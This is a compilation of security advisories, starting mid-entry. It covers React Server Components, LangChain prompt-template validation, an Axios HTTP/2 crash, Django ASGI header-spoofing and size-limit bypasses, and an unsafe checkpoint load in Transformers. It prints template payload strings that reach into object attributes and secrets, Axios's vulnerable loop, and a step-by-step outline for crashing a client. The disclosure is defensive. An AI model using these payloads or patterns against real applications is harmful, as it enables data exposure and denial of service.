The vulnerability exists in versions 19.0.0 through 19.0.4, 19.1.0 through 19.1.5, and 19.2.0 through 19.2.4 of:
react-server-dom-webpack
react-server-dom-parcel
react-server-dom-turbopack
Patches
Fixes were back ported to versions 19.0.5, 19.1.6, and 19.2.5.
If you are using any of the above packages please upgrade to any of the fixed versions immediately.
If your app’s React code does not use a server, your app is not affected by this vulnerability. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by this vulnerability.
References
See the blog post for more information and upgrade instructions.
LangChain has incomplete f-string validation in prompt templates
LangChain's f-string prompt-template validation was incomplete in two respects.
First, some prompt template classes accepted f-string templates and formatted them without enforcing the same attribute-access validation as PromptTemplate. In particular, DictPromptTemplate and ImagePromptTemplate could accept templates containing attribute access or indexing expressions and subsequently evaluate those expressions during formatting.
Examples of the affected shape include:
``python
"{message.additional_kwargs[secret]}"
"https://example.com/{image.__class__.__name__}.png"
`
Second, f-string validation based on parsed top-level field names did not reject nested replacement fields inside format specifiers. For example:
`python
"{name:{name.__class__.__name__}}"
`
In this pattern, the nested replacement field appears in the format specifier rather than in the top-level field name. As a result, earlier validation based on parsed field names did not reject the template even though Python formatting would still attempt to resolve the nested expression at runtime.
Affected usage
This issue is only relevant for applications that accept untrusted template strings, rather than only untrusted template variable values.
In addition, practical impact depends on what objects are passed into template formatting:
If applications only format simple values such as strings and numbers, impact is limited and may only result in formatting errors.
If applications format richer Python objects, attribute access and indexing may interact with internal object state during formatting.
In many deployments, these conditions are not commonly present together. Applications that allow end users to author arbitrary templates often expose only a narrow set of simple template variables, while applications that work with richer internal Python objects often keep template structure under developer control. As a result, the highest-impact scenario is plausible but is not representative of all LangChain applications.
Applications that use hardcoded templates or that only allow users to provide variable values are not affected by this issue.
Impact
The direct issue in DictPromptTemplate and ImagePromptTemplate allowed attribute access and indexing expressions to survive template construction and then be evaluated during formatting. When richer Python objects were passed into formatting, this could expose internal fields or nested data to prompt output, model context, or logs.
The nested format-spec issue is narrower in scope. It bypassed the intended validation rules for f-string templates, but in simple cases it results in an invalid format specifier error rather than direct disclosure. Accordingly, its practical impact is lower than that of direct top-level attribute traversal.
Overall, the practical severity depends on deployment. Meaningful confidentiality impact requires attacker control over the template structure itself, and higher impact further depends on the surrounding application passing richer internal Python objects into formatting.
Fix
The fix consists of two changes.
First, LangChain now applies f-string safety validation consistently to DictPromptTemplate and ImagePromptTemplate, so templates containing attribute access or indexing expressions are rejected during construction and deserialization.
Second, LangChain now rejects nested replacement fields inside f-string format specifiers.
Concretely, LangChain validates parsed f-string fields and raises an error for:
variable names containing attribute access or indexing syntax such as . or []
format specifiers containing { or }
This blocks templates such as:
`python
"{message.additional_kwargs[secret]}"
"https://example.com/{image.__class__.__name__}.png"
"{name:{name.__class__.__name__}}"
`
The fix preserves ordinary f-string formatting features such as standard format specifiers and conversions, including examples like:
`python
"{value:.2f}"
"{value:>10}"
"{value!r}"
``
In addition, the explicit template-validation path now applies the same structural f-string checks before performing placeholder validation, ensuring that the security checks and validation checks remain aligned.
Axios HTTP/2 Session Cleanup State Corruption Vulnerability
Summary
Axios HTTP/2 session cleanup logic contains a state corruption bug that allows a malicious server to crash the client process through concurrent session closures. This denial-of-service vulnerability affects axios versions prior to 1.13.2 when HTTP/2 is enabled.
Details
The vulnerability exists in the Http2Sessions.getSession() method in lib/adapters/http.js. The session cleanup logic contains a control flow error when removing sessions from the sessions array.
Vulnerable Code:
``javascript
while (i--) {
if (entries[i][0] === session) {
entries.splice(i, 1);
if (len === 1) {
delete this.sessions[authority];
return;
}
}
}
`
Root Cause:
After calling entries.splice(i, 1) to remove a session, the original code only returned early if len === 1. For arrays with multiple entries, the iteration continued after modifying the array, causing undefined behavior and potential crashes when accessing shifted array indices.
Fixed Code:
`javascript
while (i--) {
if (entries[i][0] === session) {
if (len === 1) {
delete this.sessions[authority];
} else {
entries.splice(i, 1);
}
return;
}
}
`
The fix restructures the control flow to immediately return after removing a session, regardless of whether the array is being emptied or just having one element removed. This prevents continued iteration over a modified array and eliminates the state corruption vulnerability.
Affected Component:
lib/adapters/http.js` - Http2Sessions class, session cleanup in connection close handler
PoC
1. Set up a malicious HTTP/2 server that accepts multiple concurrent connections from an axios client
2. Establish multiple concurrent HTTP/2 sessions with the axios client
3. Close all sessions simultaneously with precise timing
4. The flawed cleanup logic attempts to iterate over and modify the sessions array concurrently
5. This causes the client to access invalid memory locations, resulting in a process crash
Prerequisites:
Client must use axios with HTTP/2 enabled
Client must connect to attacker-controlled HTTP/2 server
Multiple concurrent HTTP/2 sessions must be established
Server must close all sessions simultaneously with precise timing
Impact
Who is impacted:
Applications using axios with HTTP/2 enabled
Applications connecting to untrusted or attacker-controlled HTTP/2 servers
Node.js applications using axios for HTTP/2 requests
Impact Details:
Denial of Service: Malicious server can crash the axios client process by accepting and closing multiple concurrent HTTP/2 connections simultaneously
Availability Impact: Complete loss of availability for the client process through crash (though service may auto-restart)
Scope: Impact is limited to the single client process making the requests; does not escape to affect other components or systems
No Confidentiality or Integrity Impact: Vulnerability only causes process crash, no information disclosure or data modification
CVSS Score: 5.9 (Medium)
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE Classifications:
CWE-400: Uncontrolled Resource Consumption
CWE-662: Improper Synchronization
Django vulnerable to ASGI header spoofing via underscore/hyphen conflation
An issue was discovered in 6.0 before 6.0.4, 5.2 before 5.2.13, and 4.2 before 4.2.30. ASGIRequest allows a remote attacker to spoof headers by exploiting an ambiguous mapping of two header variants (with hyphens or with underscores) to a single version with underscores.
Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.
Django would like to thank Tarek Nakkouch for reporting this issue.
Django: SGI requests with a missing or understated `Content-Length` header could bypass the `DATA_UPLOAD_MAX_MEMORY_SIZE` limit
An issue was discovered in 6.0 before 6.0.4, 5.2 before 5.2.13, and 4.2 before 4.2.30. ASGI requests with a missing or understated Content-Length header could bypass the DATA_UPLOAD_MAX_MEMORY_SIZE limit when reading HttpRequest.body, allowing remote attackers to load an unbounded request body into memory.
Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.
Django would like to thank Superior for reporting this issue.
Django has potential DoS via MultiPartParser through crafted multipart uploads
An issue was discovered in 6.0 before 6.0.4, 5.2 before 5.2.13, and 4.2 before 4.2.30. MultiPartParser allows remote attackers to degrade performance by submitting multipart uploads with Content-Transfer-Encoding: base64 including excessive whitespace.
Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.
Django would like to thank Seokchan Yoon for reporting this issue.
HuggingFace Transformers allows for arbitrary code execution in the `Trainer` class
A vulnerability in the HuggingFace Transformers library, specifically in the Trainer class, allows for arbitrary code execution. The _load_rng_state() method in src/transformers/trainer.py at line 3059 calls torch.load() without the weights_only=True parameter. This issue affects all versions of the library supporting torch>=2.2 when used with PyTorch versions below 2.6, as the safe_globals() context manager provides no protection in these versions. An attacker can exploit this vulnerability by supplying a malicious checkpoint file, such as rng_state.pth, which can execute arbitrary code when loaded. The issue is resolved in version v5.0.0rc3.